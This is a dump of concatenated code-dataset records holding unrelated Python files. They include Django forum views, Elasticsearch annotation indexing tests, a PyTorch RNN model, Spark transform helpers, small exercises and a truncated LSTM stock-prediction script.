    '\n\n context += ''\n return HttpResponse(context)\n\n@login_required\ndef userFollowedList(request):\n followed = Follow.objects.filter(follower=request.user.id)\n paginator = Paginator(followed, 10) #show only 10 posts per page\n page = request.GET.get('page')\n\n try:\n followedOut = paginator.page(page)\n except PageNotAnInteger:\n followedOut = paginator.page(1)\n except EmptyPage:\n followedOut = paginator.page(paginator.num_pages)\n context = {\n \"userFollowed\":followedOut,\n \"platforms\": get_platforms(request),\n }\n return render(request, \"home/userFollowedList.html\", context)\n\n@login_required\ndef unfollowUser(request, user_id):\n userToUnfollow = User.objects.get(id=user_id)\n unfollowList = Follow.objects.filter(follower=request.user.id).filter(followee=user_id)\n for unfollow in unfollowList:\n unfollow.delete()\n if Follow.objects.filter(follower=request.user.id).filter(follower=user_id).count() == 0:\n messages.success(request, \"Your Just Unfollowed \"+userToUnfollow.username)\n else:\n messages.error(request, \"Failed to Unfollow \"+userToUnfollow.username)\n\n return HttpResponseRedirect(\"/app/userFollowedList/\")\n\n\n@login_required\ndef platforms(request):\n if request.method == 'POST' and request.POST:\n if request.POST or None:\n form = subPlatformForm(request.POST or None)\n if form.is_valid():\n form.save()\n messages.success(request, 'Sub Platform Successfully Registered')\n return HttpResponseRedirect(\"/app/platforms/\")\n else:\n messages.error(request, 'Sub Platform Registration Failed, Please Try again')\n return HttpResponseRedirect(\"/app/platforms/\")\n context = {\n \"title\": \"| Platforms List\",\n \"platforms\": get_platforms(request),\n \"platformsList\": Platforms.objects.all().exclude(is_active=False),\n \"subPlatformForm\": subPlatformForm(),\n }\n return render(request, \"home/platforms.html\", context)\n\n@login_required\ndef managePlatformUsers(request, slug):\n pager = \"manageminplatforms\"\n context = {\n \"title\": \" | Platform Manager\",\n \"page\": pager,\n \"platforms\": get_platforms(request),\n \"profPicForm\": profilePictureForm(),\n \"notifications\": request.user.notifications.unread(),\n }\n return render(request, \"home/managePlatformUsers.html\", context)\n\n@login_required\ndef platformBlockedUsers(request, slug):\n pager = \"manageminplatforms\"\n context = {\n \"title\": \" | Platform Manager\",\n \"page\": pager,\n \"platforms\": get_platforms(request),\n \"profPicForm\": profilePictureForm(),\n \"notifications\": request.user.notifications.unread(),\n }\n return render(request, \"home/platformBlockedUser.html\", context)\n\ndef totalPosts(request):\n total = Post.objects.all().count()\n return HttpResponse(total)\n\ndef totalUsers(request):\n total = User.objects.all().count()\n return HttpResponse(total)\n\n\n\ndef platformforums(request):\n context = {\n \"coreplat\": Platforms.objects.all(),\n }\n return render(request, \"forumplatforms.html\", context)\n\ndef whoarewe(request):\n context = {\n\n }\n return render(request, 'whoarewe.html', context)\n\ndef disclaimer(request):\n context = {\n\n }\n return render(request, 'disclaimer.html', context)\n\ndef rules(request):\n context = {\n\n }\n return render(request, 'rules.html', context)\n\ndef policy(request):\n context = {\n\n }\n return render(request, 'policy.html', context)\n\ndef recentposts(request):\n context = {\n \"coreposts\": Post.objects.all().order_by('-updated')[0:10],\n \"minposts\": MinPost.objects.all().order_by('-updated')[0:10],\n }\n return render(request, 'recentposts.html', context)\n\n\n\n\n\n\n#views function for moderator functinability\ndef moderator_home(request):\n context = {\n \"title\": '- Moderator',\n \"platforms\": get_platforms(request),\n \"totalCorePlatform\": Platforms.objects.all().count(),\n \"totalCorePlatPosts\": Post.objects.all().count(),\n }\n return render(request, 'moderator/moderator_index.html', context)\n\ndef moderate_users(request):\n context = {\n \"title\": '- Moderate Users',\n \"users\": User.objects.all(),\n \"platforms\": get_platforms(request),\n }\n return render(request, 'moderator/moderate_users.html', context)\n\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":49031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"622517271","text":"#Create the internal data necessary for isolation\n\nimport numpy as np\nimport pandas as pd\n\nclass InternalDatabaseIsolation(object):\n\n\tdef __init__(self,gui):\n\n\t\t#Gets the cost of the density gradient per ml in EUR. Starts with Ficoll Paque\n\n\t\tself.COST_PER_ML_DG = 0.39\n\n\t\t#Gets the cost of collagenases per ml GMP grade in EUR.\n\n\t\tself.COST_PER_ML_COLL1 = 0.42\n\n\t\tself.COST_PER_ML_COLL2 = 0.42\n\n\t\tself.TIME_TO_WASH_DAYS = [1,1,2] #Introduce the vectors about the source of mscs","sub_path":"int_database_isolation.py","file_name":"int_database_isolation.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"484943359","text":"import os\nfrom maya import cmds\nfrom mindbender import api, maya\n\n\nclass ModelLoader(api.Loader):\n \"\"\"Load models\n\n Stores the imported asset in a container named after the asset.\n\n \"\"\"\n\n families = [\"mindbender.model\"]\n\n def process(self, project, asset, subset, version, representation):\n template = project[\"config\"][\"template\"][\"publish\"]\n data = {\n \"root\": api.registered_root(),\n \"project\": project[\"name\"],\n \"asset\": asset[\"name\"],\n \"silo\": asset[\"silo\"],\n \"subset\": subset[\"name\"],\n \"version\": version[\"name\"],\n \"representation\": representation[\"name\"].strip(\".\"),\n }\n\n fname = template.format(**data)\n assert os.path.exists(fname), \"%s does not exist\" % fname\n\n namespace = maya.unique_namespace(asset[\"name\"], suffix=\"_\")\n name = subset[\"name\"]\n\n with maya.maintained_selection():\n nodes = cmds.file(fname,\n namespace=namespace,\n reference=True,\n returnNewNodes=True,\n groupReference=True,\n groupName=namespace + \":\" + name)\n\n # Containerising\n maya.containerise(name=name,\n namespace=namespace,\n nodes=nodes,\n asset=asset,\n subset=subset,\n version=version,\n representation=representation,\n loader=type(self).__name__)\n\n # Assign default shader to meshes\n meshes = cmds.ls(nodes, type=\"mesh\")\n cmds.sets(meshes, forceElement=\"initialShadingGroup\")\n\n return nodes\n","sub_path":"mindbender/maya/loaders/mindbender_model.py","file_name":"mindbender_model.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"306595059","text":"# Zad1. Napisz pierwszy skrypt, w którym zadeklarujesz po dwie zmienne każdego typu a następnie wyświetl te zmienne\n\na = 1\nb = 2\nc = 1.1\nd = 2.1\ne = 'string'\nf = 'string1'\ng = (1+1j)\nh = (1+2j)\nzmienne = [a, b, c, d, e, f, g, h]\nfor x in range(8):\n print(zmienne[x])\n","sub_path":"zad1.py","file_name":"zad1.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"622333725","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport mock\nimport pytest\n\nfrom h import presenters\nfrom h.search import client\nfrom h.search import index\n\n\nclass TestIndexAnnotationDocuments(object):\n \"\"\"\n Integrated tests for indexing and retrieving annotations documents.\n\n Tests that index real annotations into a real Elasticsearch index, and\n test the saving and retrieval of the ``annotation.document`` field.\n\n *Searching* for an annotation by ``annotation.document`` (e.g. by document\n ``title`` or ``web_uri``) isn't enabled. But you can retrieve an\n annotation by ID, or by searching on other field(s), and then access\n its ``document``. Bouncer (https://github.com/hypothesis/bouncer) accesses\n h's Elasticsearch index directly and uses this ``document`` field.\n\n \"\"\"\n def test_it_can_index_an_annotation_with_no_document(self, factories,\n index, get):\n annotation = factories.Annotation.build(id=\"test_annotation_id\",\n document=None)\n\n index(annotation)\n\n assert get(annotation.id)[\"document\"] == {}\n\n def test_it_indexes_the_annotations_document_title(self, factories,\n index, get):\n annotation = factories.Annotation.build(\n id=\"test_annotation_id\",\n document=factories.Document.build(title=\"test_document_title\"),\n )\n\n index(annotation)\n\n assert get(annotation.id)[\"document\"][\"title\"] == [\"test_document_title\"]\n\n def test_it_can_index_an_annotation_with_a_document_with_no_title(self, factories,\n index, get):\n annotation = factories.Annotation.build(\n id=\"test_annotation_id\",\n document=factories.Document.build(title=None),\n )\n\n index(annotation)\n\n assert \"title\" not in get(annotation.id)[\"document\"]\n\n @pytest.fixture\n def index(self, es_client, pyramid_request):\n def _index(annotation):\n \"\"\"Index the given annotation into Elasticsearch.\"\"\"\n index.index(es_client, annotation, pyramid_request)\n return _index\n\n @pytest.fixture\n def get(self, es_client):\n def _get(annotation_id):\n \"\"\"Return the annotation with the given ID from Elasticsearch.\"\"\"\n return es_client.conn.get(\n index=es_client.index, doc_type=\"annotation\",\n id=annotation_id)[\"_source\"]\n return _get\n\n\n@pytest.mark.usefixtures('presenters')\nclass TestIndexAnnotation:\n\n def test_it_presents_the_annotation(self, es, presenters, pyramid_request):\n annotation = mock.Mock()\n\n index.index(es, annotation, pyramid_request)\n\n presenters.AnnotationSearchIndexPresenter.assert_called_once_with(annotation)\n\n def test_it_creates_an_annotation_before_save_event(self,\n AnnotationTransformEvent,\n es,\n presenters,\n pyramid_request):\n annotation = mock.Mock()\n presented = presenters.AnnotationSearchIndexPresenter.return_value.asdict()\n\n index.index(es, annotation, pyramid_request)\n\n AnnotationTransformEvent.assert_called_once_with(pyramid_request, annotation, presented)\n\n def test_it_notifies_before_save_event(self,\n AnnotationTransformEvent,\n es,\n notify,\n presenters,\n pyramid_request):\n index.index(es, mock.Mock(), pyramid_request)\n\n event = AnnotationTransformEvent.return_value\n notify.assert_called_once_with(event)\n\n def test_it_indexes_the_annotation(self, es, presenters, pyramid_request):\n index.index(es, mock.Mock(), pyramid_request)\n\n es.conn.index.assert_called_once_with(\n index='hypothesis',\n doc_type='annotation',\n body=presenters.AnnotationSearchIndexPresenter.return_value.asdict.return_value,\n id='test_annotation_id',\n )\n\n def test_it_allows_to_override_target_index(self, es, presenters, pyramid_request):\n index.index(es, mock.Mock(), pyramid_request, target_index='custom-index')\n\n _, kwargs = es.conn.index.call_args\n assert kwargs['index'] == 'custom-index'\n\n @pytest.fixture\n def presenters(self, patch):\n presenters = patch('h.search.index.presenters')\n presenter = presenters.AnnotationSearchIndexPresenter.return_value\n presenter.asdict.return_value = {\n 'id': 'test_annotation_id',\n 'target': [\n {\n 'source': 'http://example.com/example',\n },\n ],\n }\n return presenters\n\n\nclass TestDeleteAnnotation:\n\n def test_it_marks_annotation_as_deleted(self, es):\n index.delete(es, 'test_annotation_id')\n\n es.conn.index.assert_called_once_with(\n index='hypothesis',\n doc_type='annotation',\n body={'deleted': True},\n id='test_annotation_id'\n )\n\n def test_it_allows_to_override_target_index(self, es):\n index.delete(es, 'test_annotation_id', target_index='custom-index')\n\n _, kwargs = es.conn.index.call_args\n assert kwargs['index'] == 'custom-index'\n\n\nclass TestBatchIndexer(object):\n def test_index_indexes_all_annotations_to_es(self, db_session, indexer, matchers, streaming_bulk, factories):\n ann_1, ann_2 = factories.Annotation(), factories.Annotation()\n\n indexer.index()\n\n streaming_bulk.assert_called_once_with(\n indexer.es_client.conn, matchers.iterable_with(matchers.unordered_list([ann_1, ann_2])),\n chunk_size=mock.ANY, raise_on_error=False, expand_action_callback=mock.ANY)\n\n def test_index_skips_deleted_annotations_when_indexing_all(self, db_session, indexer, matchers, streaming_bulk, factories):\n ann_1, ann_2 = factories.Annotation(), factories.Annotation()\n # create deleted annotations\n factories.Annotation(deleted=True)\n factories.Annotation(deleted=True)\n\n indexer.index()\n\n streaming_bulk.assert_called_once_with(\n indexer.es_client.conn, matchers.iterable_with(matchers.unordered_list([ann_1, ann_2])),\n chunk_size=mock.ANY, raise_on_error=False, expand_action_callback=mock.ANY)\n\n def test_index_indexes_filtered_annotations_to_es(self, db_session, indexer, matchers, streaming_bulk, factories):\n _, ann_2 = factories.Annotation(), factories.Annotation() # noqa: F841\n\n indexer.index([ann_2.id])\n\n streaming_bulk.assert_called_once_with(\n indexer.es_client.conn, matchers.iterable_with([ann_2]),\n chunk_size=mock.ANY, raise_on_error=False, expand_action_callback=mock.ANY)\n\n def test_index_skips_deleted_annotations_when_indexing_filtered(self, db_session, indexer, matchers, streaming_bulk, factories):\n factories.Annotation()\n ann_2 = factories.Annotation()\n # create deleted annotations\n factories.Annotation(deleted=True)\n factories.Annotation(deleted=True)\n\n indexer.index([ann_2.id])\n\n streaming_bulk.assert_called_once_with(\n indexer.es_client.conn, matchers.iterable_with([ann_2]),\n chunk_size=mock.ANY, raise_on_error=False, expand_action_callback=mock.ANY)\n\n def test_index_correctly_presents_bulk_actions(self,\n db_session,\n indexer,\n pyramid_request,\n streaming_bulk,\n factories):\n annotation = factories.Annotation()\n db_session.add(annotation)\n db_session.flush()\n results = []\n\n def fake_streaming_bulk(*args, **kwargs):\n ann = list(args[1])[0]\n callback = kwargs.get('expand_action_callback')\n results.append(callback(ann))\n return set()\n\n streaming_bulk.side_effect = fake_streaming_bulk\n\n indexer.index()\n\n rendered = presenters.AnnotationSearchIndexPresenter(annotation).asdict()\n rendered['target'][0]['scope'] = [annotation.target_uri_normalized]\n assert results[0] == (\n {'index': {'_type': indexer.es_client.t.annotation,\n '_index': 'hypothesis',\n '_id': annotation.id}},\n rendered\n )\n\n def test_index_allows_to_set_op_type(self, db_session, es, pyramid_request, streaming_bulk, factories):\n indexer = index.BatchIndexer(db_session, es, pyramid_request,\n op_type='create')\n annotation = factories.Annotation()\n db_session.add(annotation)\n db_session.flush()\n results = []\n\n def fake_streaming_bulk(*args, **kwargs):\n ann = list(args[1])[0]\n callback = kwargs.get('expand_action_callback')\n results.append(callback(ann))\n return set()\n\n streaming_bulk.side_effect = fake_streaming_bulk\n\n indexer.index()\n\n rendered = presenters.AnnotationSearchIndexPresenter(annotation).asdict()\n rendered['target'][0]['scope'] = [annotation.target_uri_normalized]\n assert results[0] == (\n {'create': {'_type': indexer.es_client.t.annotation,\n '_index': 'hypothesis',\n '_id': annotation.id}},\n rendered\n )\n\n def test_index_emits_AnnotationTransformEvent_when_presenting_bulk_actions(self,\n db_session,\n indexer,\n pyramid_request,\n streaming_bulk,\n pyramid_config,\n factories):\n\n annotation = factories.Annotation()\n results = []\n\n def fake_streaming_bulk(*args, **kwargs):\n ann = list(args[1])[0]\n callback = kwargs.get('expand_action_callback')\n results.append(callback(ann))\n return set()\n\n streaming_bulk.side_effect = fake_streaming_bulk\n\n def transform(event):\n if event.annotation == annotation:\n data = event.annotation_dict\n data['transformed'] = True\n\n pyramid_config.add_subscriber(transform, 'h.events.AnnotationTransformEvent')\n\n indexer.index()\n\n rendered = presenters.AnnotationSearchIndexPresenter(annotation).asdict()\n rendered['transformed'] = True\n rendered['target'][0]['scope'] = [annotation.target_uri_normalized]\n\n assert results[0] == (\n {'index': {'_type': indexer.es_client.t.annotation,\n '_index': 'hypothesis',\n '_id': annotation.id}},\n rendered\n )\n\n def test_index_returns_failed_bulk_actions_for_default_op_type(self, db_session, indexer, streaming_bulk, factories):\n ann_success_1, ann_success_2 = factories.Annotation(), factories.Annotation()\n ann_fail_1, ann_fail_2 = factories.Annotation(), factories.Annotation()\n\n def fake_streaming_bulk(*args, **kwargs):\n for ann in args[1]:\n if ann.id in [ann_fail_1.id, ann_fail_2.id]:\n yield (False, {'index': {'_id': ann.id, 'error': 'unknown error'}})\n elif ann.id in [ann_success_1.id, ann_success_2.id]:\n yield (True, {'index': {'_id': ann.id}})\n\n streaming_bulk.side_effect = fake_streaming_bulk\n\n result = indexer.index()\n assert result == set([ann_fail_1.id, ann_fail_2.id])\n\n def test_index_returns_failed_bulk_actions_for_create_op_type(self, pyramid_request, es, db_session, streaming_bulk, factories):\n indexer = index.BatchIndexer(db_session, es, pyramid_request,\n op_type='create')\n\n ann_success_1, ann_success_2 = factories.Annotation(), factories.Annotation()\n ann_fail_1, ann_fail_2 = factories.Annotation(), factories.Annotation()\n\n def fake_streaming_bulk(*args, **kwargs):\n for ann in args[1]:\n if ann.id in [ann_fail_1.id, ann_fail_2.id]:\n yield (False, {'create': {'_id': ann.id, 'error': 'unknown error'}})\n elif ann.id in [ann_success_1.id, ann_success_2.id]:\n yield (True, {'create': {'_id': ann.id}})\n\n streaming_bulk.side_effect = fake_streaming_bulk\n\n result = indexer.index()\n assert result == set([ann_fail_1.id, ann_fail_2.id])\n\n def test_index_ignores_document_exists_errors_for_op_type_create(self, db_session, es, pyramid_request, streaming_bulk, factories):\n indexer = index.BatchIndexer(db_session, es, pyramid_request,\n op_type='create')\n\n ann_success_1, ann_success_2 = factories.Annotation(), factories.Annotation()\n ann_fail_1, ann_fail_2 = factories.Annotation(), factories.Annotation()\n\n def fake_streaming_bulk(*args, **kwargs):\n for ann in args[1]:\n if ann.id in [ann_fail_1.id, ann_fail_2.id]:\n error = 'DocumentAlreadyExistsException[[index-name][1] [annotation][gibberish]: ' \\\n 'document already exists]'\n yield (False, {'create': {'_id': ann.id, 'error': error}})\n elif ann.id in [ann_success_1.id, ann_success_2.id]:\n yield (True, {'create': {'_id': ann.id}})\n\n streaming_bulk.side_effect = fake_streaming_bulk\n\n result = indexer.index()\n assert len(result) == 0\n\n @pytest.fixture\n def indexer(self, db_session, es, pyramid_request):\n return index.BatchIndexer(db_session, es, pyramid_request)\n\n @pytest.fixture\n def index(self, patch):\n return patch('h.search.index.BatchIndexer.index')\n\n @pytest.fixture\n def streaming_bulk(self, patch):\n return patch('h.search.index.es_helpers.streaming_bulk')\n\n\n@pytest.fixture\ndef es():\n mock_es = mock.create_autospec(client.Client, instance=True, spec_set=True,\n index=\"hypothesis\")\n mock_es.t.annotation = 'annotation'\n return mock_es\n\n\n@pytest.fixture\ndef AnnotationTransformEvent(patch):\n return patch('h.search.index.AnnotationTransformEvent')\n","sub_path":"tests/h/search/index_test.py","file_name":"index_test.py","file_ext":"py","file_size_in_byte":15184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"48912204","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom data_elaboration import seq_batch\n\n\nclass RNN(nn.Module):\n def __init__(self, embedding_dim, hidden_dim, tagset_size, device, pretrained_embeddings=False,\n vocab_size=None, w2v_weights=None, bidirectional=False, num_layers=1, drop_rate=0.7, freeze=False, jordan=False):\n super(RNN, self).__init__()\n\n # The RNN takes word embeddings as inputs, and outputs hidden states\n # with dimensionality hidden_dim.\n # input_size – The number of expected features in the input x\n # hidden_size – The number of features in the hidden state h\n # num_layers – Number of recurrent layers\n # dropout – If non-zero, introduces a Dropout layer\n # on the outputs of each RNN layer except the last layer,\n # with dropout probability equal to dropout. Default: 0\n # bidirectional – If True, becomes a bidirectional LSTM. Default: False\n\n # save params\n self.jordan = jordan\n if jordan:\n self.hidden_dim = tagset_size\n else:\n self.hidden_dim = hidden_dim\n self.tagset_size = tagset_size\n self.device = device\n if pretrained_embeddings:\n embedding_dim = 300\n self.word_embeddings = nn.Embedding.from_pretrained(torch.FloatTensor(w2v_weights), freeze=freeze)\n self.word_embeddings.max_norm = 6\n else:\n self.word_embeddings = nn.Embedding(vocab_size, embedding_dim)\n self.drop_rate = drop_rate\n self.bidirectional = bidirectional\n self.num_layers = num_layers\n self.drop = nn.Dropout(self.drop_rate)\n self.rnn = nn.RNN(embedding_dim, self.hidden_dim // (1 if not bidirectional else 2),\n dropout=self.drop_rate, batch_first=True, num_layers=self.num_layers,\n bidirectional=bidirectional)\n\n if bidirectional:\n self.init_hidden = self.__init_hidden_bidirectional\n\n self.hidden2tag = nn.Sequential(\n nn.BatchNorm2d(1),\n nn.Dropout(self.drop_rate),\n nn.Linear(self.hidden_dim, self.tagset_size),\n nn.ReLU(inplace=True)\n )\n\n def init_hidden(self, batch_size):\n # Before we've done anything, we dont have any hidden state.\n # from pytorch documentation: (hidden state (h): (num_layers, mini_batch_size, hidden_dim),\n # cell state (c): (num_layers, mini_batch_size, hidden_dim)\n\n return torch.zeros(self.num_layers, batch_size, self.hidden_dim, device=self.device)\n\n def __init_hidden_bidirectional(self, batch_size):\n \"\"\"\n hidden layer of bidirectional rnn: 2 hidden layers each of dimension\n \"\"\"\n return torch.zeros(self.num_layers * 2, batch_size, self.hidden_dim // 2, device=self.device)\n\n def forward(self, batch):\n rnn_out = self.init_hidden(len(batch))\n hidden = self.init_hidden(len(batch))\n data, labels = seq_batch(batch)\n embeds = self.word_embeddings(data)\n embeds = self.drop(embeds)\n \"\"\"\n Inputs: input, (h_0, c_0)\n input of shape (seq_len, batch, input_size): \n tensor containing the features of the input sequence. \n The input can also be a packed variable length sequence.\n h_0: tensor containing the initial hidden state for each element in the batch.\n c_0: tensor containing the initial cell state for each element in the batch.\n default values of h_0 and c_0 are zeros\n Outputs: output, (h_n, c_n)\n output of shape (seq_len, batch, num_directions * hidden_size): \n tensor containing the output features (h_t) from the last layer of the LSTM, for each t\n h_n of shape (num_layers * num_directions, batch, hidden_size): \n tensor containing the hidden state for t = seq_len\n c_n (num_layers * num_directions, batch, hidden_size): \n tensor containing the cell state for t = seq_len\n\n \"\"\"\n if self.jordan:\n rnn_out, hidden = self.rnn(embeds, rnn_out)\n else:\n rnn_out, hidden = self.rnn(embeds, hidden)\n # send output to fc layer(s)\n tag_space = self.hidden2tag(rnn_out.unsqueeze(1).contiguous())\n tag_scores = F.log_softmax(tag_space, dim=3)\n return tag_scores.view(-1, self.tagset_size), labels.view(-1)\n","sub_path":"src/RNN.py","file_name":"RNN.py","file_ext":"py","file_size_in_byte":4509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"525485232","text":"import os,re\n\ndef compose(fdir):\n\n #fdir = 'E:\\Data\\weibo_follow'\n file_list = os.listdir(fdir)\n file_list.sort(key=lambda x:int(re.findall(r'_(\\d+)\\.txt', x)[0]))\n #print file_list\n if (os.path.isdir(fdir+'\\\\combine')) == False:\n os.mkdir(fdir+'\\combine')\n ffdir = fdir+'\\combine'\n #print ffdir\n\n for f in file_list:\n f_name = re.findall(r'.+?(?=_)',f)\n \n #if file not exists, create it\n if (os.path.isfile(ffdir+'\\\\'+f_name[0]+'.txt')) == False:\n file_create = open(ffdir+'\\\\'+f_name[0]+'.txt', 'w')\n file_create.close()\n \n #read file\n file_write = open(ffdir+'\\\\'+f_name[0]+'.txt', 'a')\n file_read = open(fdir+'\\\\'+f, 'r')\n read_data = file_read.readlines()\n file_write.writelines(read_data)\n file_read.close()\n file_write.close()\n\ncompose('E:\\Data\\weibo_follow')\n","sub_path":"usedcode/本地文件合并.py","file_name":"本地文件合并.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"9233678","text":"import yaml\nfrom base64 import b64encode, b64decode\n\ndef convertfile_to_base64str(filename: str) -> str :\n try:\n with open(filename, \"rb\") as file:\n content = file.read()\n return b64encode(content)\n except FileNotFoundError as ec:\n raise ec\n\ndef write_base64str_obj_to_file(text: str, filename: str) -> None:\n try:\n with open(filename, 'wb') as file:\n file.write(b64decode(text))\n except FileExistsError:\n print(\"Error in conversion\")\n return None\n\ndef read_text_fromfile(path: str) -> str:\n with open(path, \"r\") as file:\n text = file.read()\n return text\n\ndef get_config(config_file: str=\"config.yml\") -> dict:\n try:\n with open(config_file, 'r', newline='') as f:\n return yaml.load(f, Loader=yaml.Loader)\n except yaml.YAMLError as ymlexcp:\n print(ymlexcp)\n return None","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"277002100","text":"\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n\ndef interQuartile(values, freqs):\n # Print your answer to 1 decimal place within this function\n data = []\n for i in range(len(values)):\n data.extend([values[i]]*freqs[i])\n data.sort()\n #print(data)\n if len(data)%2==0:\n # even\n first_half = data[0:int(len(data)/2)]\n second_half = data[int(len(data)/2):len(data)]\n else:\n # odd\n first_half = data[0:int(len(data)/2)]\n second_half = data[(1 + int(len(data)/2)):len(data)]\n #print(\"first_half\" + str(first_half))\n #print(\"second_half\" + str(second_half))\n def median(arr):\n if len(arr)%2 == 0:\n return 0.5 * ( arr[int(len(arr)/2)-1] + arr[int(len(arr)/2)])\n else:\n return arr[int(len(arr)/2)]\n q1 = median(first_half)\n q3 = median(second_half) \n print(float(q3- q1))\n \n \n\nif __name__ == '__main__':\n val = [10, 40, 30, 50, 20]\n freq = [1,2,3,4,5]\n interQuartile(val, freq)\n print(\"exit..\")\n","sub_path":"learn/python_algo/test_iqr.py","file_name":"test_iqr.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"77638043","text":"#coding utf-8\n#只是去掉前面有\"的\nfrom itertools import dropwhile\nwith open('/root/.vimrc') as f:\n for line in dropwhile(lambda line:line.startswith('\"'),f):\n print(line,end='')\n\nfrom itertools import islice\nitems = ['a','b','c',1,4,10,15]\nfor x in islice(items,3,None):\n print(x)\n\n#过滤掉所有以\"开头的\nwith open('/root/.vimrc') as f:\n lines = (line for line in f if not line.startswith('\"'))\n for line in lines:\n print(line,end='')\n\n","sub_path":"Python/moveit/cookbook/p408_skip_first_part_of_iterable.py","file_name":"p408_skip_first_part_of_iterable.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"394885389","text":"def diamond(n):\n s = []\n count = 0 - 1\n if n%2==0 or n < 0:\n return None\n for i in range(1, n + 1):\n if i%2 == 1:\n count = count + 1 \n\n for i in range(1,n+1,2):\n s.append(' '*(count) + '*'*(i) + '\\\\n')\n count -= 1\n count = 0\n for i in range(n,0,-2):\n if i == 1:\n break\n s.append(' '*(count+1) + '*'*(i-2) + '\\\\n')\n count += 1\n\n return ''.join(s)\n\nprint(diamond(3))\n\n# Shorter version\n'''\ndef diamond(n):\n if n > 0 and n % 2 == 1:\n diamond = \"\"\n for i in range(n):\n diamond += \" \" * abs((n/2) - i)\n diamond += \"*\" * (n - abs((n-1) - 2 * i))\n diamond += \"\\n\"\n return diamond\n else:\n return None\n'''\n","sub_path":"diamond.py","file_name":"diamond.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"34202164","text":"from abc import ABCMeta, abstractmethod\n\nfrom pyspark.sql import SparkSession, DataFrame, functions as F\n\nfrom spark_process_common.transforms import hash_columns\n\nclass BaseTransform(metaclass=ABCMeta):\n\n def __init__(self, spark: SparkSession):\n self.spark = spark\n\n @abstractmethod\n def transform(self, *args, **kwargs):\n raise NotImplementedError\n\nclass ProcessTransform(BaseTransform):\n\n def transform(self, *args, **kwargs):\n raise NotImplementedError\n\n @staticmethod\n def add_meta_data_columns(\n data_frame: DataFrame, target_table_name: str, \n key_columns: list(), process_name: str\n ) -> DataFrame:\n \"\"\"\n Add meta data specific to the 'transform' pattern\n and a surrogate key from the hash of unique key values\n \"\"\"\n target_key = \"{} as {}_id\".format(hash_columns(key_columns), target_table_name)\n non_key_columns = [i for i in data_frame.columns if i[:8] != 'iptmeta_' and i not in key_columns]\n\n iptmeta_insert_dttm = \"current_timestamp() as iptmeta_insert_dttm\"\n iptmeta_diff_md5 = \"{} as iptmeta_diff_md5\".format(hash_columns(non_key_columns))\n iptmeta_process_name = \"'{}' as iptmeta_process_name\".format(process_name)\n\n df_target_table = data_frame.selectExpr(\n target_key,\n key_columns,\n iptmeta_insert_dttm,\n iptmeta_process_name,\n iptmeta_diff_md5,\n non_key_columns\n )\n \n return df_target_table\n\n @staticmethod\n def save(data_frame: DataFrame, target_path: str, write_options: dict=None):\n \"\"\"\n Write csv output to be loaded into Redshift\n \"\"\"\n if not write_options:\n write_options = {\n \"sep\": '|',\n \"header\": 'true',\n \"timestampFormat\": 'yyyy-MM-dd HH:mm:ss',\n \"mode\": 'overwrite'\n }\n\n data_frame.write.csv(target_path, **write_options)\n","sub_path":"spark_process_common/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"214644828","text":"#### LSTM Prediction ####\n#Reference: https://www.datacamp.com/community/tutorials/lstm-python-stock-market\n#Reference: https://www.datacamp.com/community/tutorials/lstm-python-stock-market\n#Reference: https://www.youtube.com/watch?v=QIUxPv5PJOY\n#Reference: https://www.youtube.com/watch?v=H6du_pfuznE\n\n#This method is taken directly from https://randerson112358.medium.com/stock-price-prediction-using-python-machine-learning-e82a039ac2bb. The only difference being the dataset.\n\n#import library\n\nimport math\nimport numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import MinMaxScaler\nimport matplotlib.pyplot as plt\nfrom keras.models import Sequential\nfrom keras.layers import Dense,LSTM\n\n#import dataset\n\nmerged_data = pd.read_csv('clean/final_merged_data.csv')\ndata = merged_data.filter(['Tesla Close Price'])\ndataset = data.values\n\n#scaling the data\ntraining_data_len = math.ceil( len(merged_data) *.8)\n\nscaler = MinMaxScaler(feature_range=(0,1))\nscaled_data = scaler.fit_transform(dataset)\n\n#create training dataset\ntrain_data = scaled_data[0:training_data_len , : ]\n\nx_train = []\ny_train = []\n\nfor i in range(60,len(train_data)):\n x_train.append(train_data[i-60:i,0])\n y_train.append(train_data[i,0])\n\nx_train, y_train = np.array(x_train), np.array(y_train)\n\nx_train = np.reshape(x_train, (x_train.shape[0],x_train.shape[1],1))\n\nmodel = Sequential()\nmodel.add(LSTM(units=50, return_sequences=True,input_shape=(x_train.shape[1],1)))\nmodel.add(LSTM(units=50, return_sequences=False))\nmodel.add(Dense(units=25))\nmodel.add(Dense(units=1))\n\nmodel.compile(optimizer='adam', loss='mean_squared_error')\nmodel.fit(x_train, y_train, batch_size=1, epochs=1)\n\n#Test data set\ntest_data = scaled_data[training_data_len - 60: , : ]\n#Create the x_test and y_test data sets\nx_test = []\ny_test = dataset[training_data_len : 